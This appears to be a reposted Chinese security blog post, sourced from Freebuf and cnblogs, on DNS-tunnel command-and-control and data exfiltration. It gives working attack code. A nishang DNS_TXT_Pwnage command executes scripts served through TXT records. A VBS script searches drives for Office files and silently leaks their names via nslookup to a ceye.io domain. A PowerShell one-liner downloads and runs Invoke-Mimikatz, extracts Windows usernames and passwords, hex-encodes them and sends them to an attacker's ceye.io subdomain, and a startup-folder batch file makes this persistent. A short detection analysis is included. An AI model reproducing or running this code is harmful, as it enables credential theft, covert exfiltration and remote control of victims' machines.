博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
dns tunnel 使用 nishang 下载TXT里的cmd(TXT里)实现CC command+ ceye实现数据外发
阅读量:5903 次
发布时间:2019-06-19

本文共 5084 字,大约阅读时间需要 16 分钟。

摘自:https://hk.saowen.com/a/a06909f1c57cb8452db969b3deede4151de42a7d69f4bb52c5bf027033fb91bd

Powershell dns實驗驗證:

1、 利用powershell構造dns隧道

a)      編寫一個最簡單的一句話腳本,獲取服務列表

b)      使用nishang的Out-NnsTxt將腳本GetServiceToTxt.ps1轉換為txt記錄

c)      在dns服務器創建對應txt記錄(後續執行需按照1,2,3,4的順序,所以創建記錄名為1)

驗證結果,ok

d)      使用nishang的DNS_TXT_Pwnage讀取txt並執行( 腳本自動在test.com前加1,向1.test.com請求txt記錄作為腳本執行。不過筆者最終也沒搞懂stopstring這個參數的原理,懂的朋友麻煩私信下,謝謝! ),可正常獲取服務列表。

命令和結果如下:

DNS_TXT_Pwnage -startdomainstartflag.test.com -cmdstring nostart -commanddomain  txt1.test.com -psstring startflag -psdomain test.com -Subdomains 1 -stopstring stopflag

2、 外傳結果抓包:

使用Microsoft Network Monitor抓包分析

3、 檢測邏輯匹配分析:

a)      因實驗未將結果外傳,所以域名長度不大,如dns隧道外傳則必使用長域名

b)      因實驗未將結果外傳,所以頻率不高,且只獲取遠端的get-server功能,頻率也不高,但要實現外傳和獲取更多功能(如mimikatz等),則必然需要高頻率

c)      類型為TXT,有回包

d)      無A記錄解析結果,也就無進程對結果發起訪問

e)      此實驗場景未覆蓋外傳數據,所以不涉及註冊問題

結論:遠控木馬(實驗功能較單一,擴展為大馬則可精確覆蓋檢測特徵)

利用ceye.io的外傳實驗驗證

1、   少量信息竊取和大量信息竊取

a)      單次少量信息竊取外傳,簡單利用windows命令(ping、nslookup等)即可竊取機器名

b)      多次大量信息竊取,編寫腳本,搜索文檔(word、excel、ppt),並外傳文檔名(此腳本360 未報警),vbs腳本內容如下 ( 代碼未充分驗證,不保證無錯誤,中文支持或讀文檔內容請自行修改) :

'On ErrorResume Next

Set fso =CreateObject("Scripting.FileSystemObject")

toolsName=Array(".docx",".doc",".xls",".xlsx",".ppt",".pptx")

'ConstDRIVE_LETTERS="C:D:E:F:G:H:I:J:K:L:M:N:O:P:Q:R:S:T:U:V:W:X:Y:Z"

ConstDRIVE_LETTERS="o"

''''''''''''開始搜索

CallScanDrives()                      

''''''''''''''''''''

SubScanDrives()

Dim drives

drives=Split(DRIVE_LETTERS,":")

For Each drv In drives

If fso.DriveExists(drv) Then

Set drive=fso.GetDrive(drv)

If drive.isReady Then

CallScanFiles(drive.RootFolder)

End If

End If

Next

End Sub

''''''''''''

SubScanFiles(folder)

For Each this_file In folder.Files

On Error Resume Next

Call FindKeyFile(this_file)

WScript.Sleep 1

Next

For Each this_folder In folder.SubFolders

On Error Resume Next

Call ScanFiles(this_folder)

WScript.Sleep 1

Next   

End Sub

'''''''''''查找特定文檔

SubFindKeyFile(file)

On Error Resume Next

For Each tool_name In toolsName

'WScript.Echo

''''將文檔名都轉為大寫匹配

IfInStr(UCase(file.name),UCase(tool_name)) <>0 Then

DnsStr= file.name &".xxxxxxx.ceye.io"

''''進行靜默nslookup上傳   

setobjShell=wscript.createObject("wscript.shell")

objShell.exec("%comspec% /c nslookup " & DnsStr)

End If

Next

End Sub

2、 外傳結果展示:

a)      單次少量信息竊取外傳

b)      多次大量信息竊取

3、 檢測邏輯匹配分析:

a)      利用A記錄外傳,非txt回包,長度不超長(實驗原因,未充分利用域名長度),但頻率較高,解析過程未發現異常(但此截圖為8.8.8.8,非系統dns存在一定風險)

 

 

 

 

利用Powershell和ceye.io实现Windows账户密码回传

最近在研究Powershell的使用,之前我一直不习惯Windows的主要原因是他那孱弱的命令行工具,稍微了解了Powershell之后差点跪下了,真的是一款非常了不起的工具。powershell的定义是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。简单的理解就是像linux下的bash。powershell有着诸多的优点,但是仅凭无文件和操作系统自带这两大优点基本上确定了他的地位。mimikatz是一款黑客后渗透(不是提权)神器,其中一个功能是在管理员账户下获取Windows明文密码,现在也有powershell版本了。我想测试的流程就是通过powershell获取Windows信息之后提取关键的用户名和密码,将用户名和密码转码之后访问ceye.io,这样就可以拿到Windows账户信息了.

0×01 mimikatz获取Windows内容保存到变量

mimikatz现在已经有powershell版本了,而且是http传输,进行免杀要比exe容易,这里不探讨免杀的内容。

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1');

$Mimikatzinfo = invoke-mimikatz;

$Mimikatzinfo

0×02 利用powershell正则表达式提取关键内容

分析字段,我们想要的是Username和Password之后的内容,powershell继承的是.net的表达式语法,实现上和python多少有点不同,查了半天资料总算实现了

$Mimikatzinfo = invoke-mimikatz;

$regex = [regex]".*Username : (.*?)\n.*\n.*Password : (.*?)\n";

$word = ($regex.Matches($Mimikatzinfo)| %{$_.value})

想要的内容是word的第三个组

$username=$word[2].split("*")[1].split(":")[1]; $password=$word[2].split("*")[3].split(":")[1]; $full=$username.trim()+"_"+$password.trim();

0×03 转码访问

域名中不允许包含特殊字符,也出于绕过的想法,将用户名和密码进行16进制转换然后再访问(ceye.io要换成自己的)

$ab = [System.Text.Encoding]::UTF8.GetBytes($full);

$luffy=[System.BitConverter]::ToString($ab);$onepiece=$luffy.replace("-","");

$wc=new-object System.Net.webclient;$result=$wc.downloadstring("http://"+$onepiece+".sss.ceye.io");

0×04 实现开机自启动

新建1.cmd

PowerShell -Command "Set-ExecutionPolicy Unrestricted" >> "%TEMP%\StartupLog.txt" 2>&1 PowerShell C:\Users\Administrator\Desktop\script.ps1 >> "%TEMP%\StartupLog.txt" 2>&1

新建script.ps1,一句话实现上述功能

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1');$Mimikatzinfo = invoke-mimikatz;$regex = [regex]".*Username : (.*?)\n.*\n.*Password : (.*?)\n";$word = ($regex.Matches($Mimikatzinfo)| %{$_.value});$username=$word[2].split("*")[1].split(":")[1];$password=$word[2].split("*")[3].split(":")[1];$full=$username.trim()+"_"+$password.trim();$ab = [System.Text.Encoding]::UTF8.GetBytes($full);$luffy=[System.BitConverter]::ToString($ab);$onepiece=$luffy.replace("-","");$wc=new-object System.Net.webclient;$result=$wc.downloadstring("http://"+$onepiece+".rzzz.ceye.io");

把1.cmd放到启动文件夹里

0×05 解码

$pass=""

$t="41646d696e6973747261746f725f6c7566667931323321"

$t -split '(.{2})' |%{ if ($_ -ne "") { $pass+=[CHAR]([CONVERT]::toint16("$_",16))  }}

write $pass

后记

powershell的强大不仅如此,对于黑客来说是一个超级宝库,现在针对powershell成型的黑客工具也越来越多,像是metasploit,powersploit,set。powershell的可编程和windows的紧密结合也可以实现各种各样的猥琐技巧,比如上面的利用启动文件夹实现开机自启动是很low的,powershell和wmi配合可以实现无文件启动。”路漫漫其修远兮 吾将上下而求索”。

*本文作者:s1riu5,转载请注明来自Freebuf.COM

本文转自张昺华-sky博客园博客,原文链接:http://www.cnblogs.com/bonelee/p/8259188.html,如需转载请自行联系原作者

你可能感兴趣的文章
深入浅出HTTPS
查看>>
微软开源用于 Azure 数据压缩的算法、硬件和源码
查看>>
RE·WORK 巅峰对话:深度学习将彻底改变医疗健康领域
查看>>
Android中的线程池 ThreadPoolExecutor
查看>>
android canvas drawText()文字居中
查看>>
Unity3D-常用小功能详解,例子(得分变动效果、倒计时)
查看>>
bootstrap-.h1-.h6
查看>>
Android动画效果之Frame Animation(逐帧动画)
查看>>
MyISAM存储引擎
查看>>
How install support tool for linux system in vmware
查看>>
Sql server 2008 2016服务器查看端口
查看>>
Bootstrap基本布局(container, row, col-xs-4)
查看>>
OSS 如何安装 C SDK
查看>>
图像滤镜艺术---乐高像素拼图特效滤镜的代码实现
查看>>
直击WinRoute
查看>>
Exchange 2016 批量导出、导入pst
查看>>
SCP报错:Host key verification failed.
查看>>
wsdl生成客户端代码
查看>>
nginx调用cgi脚本
查看>>
shell脚本(二)
查看>>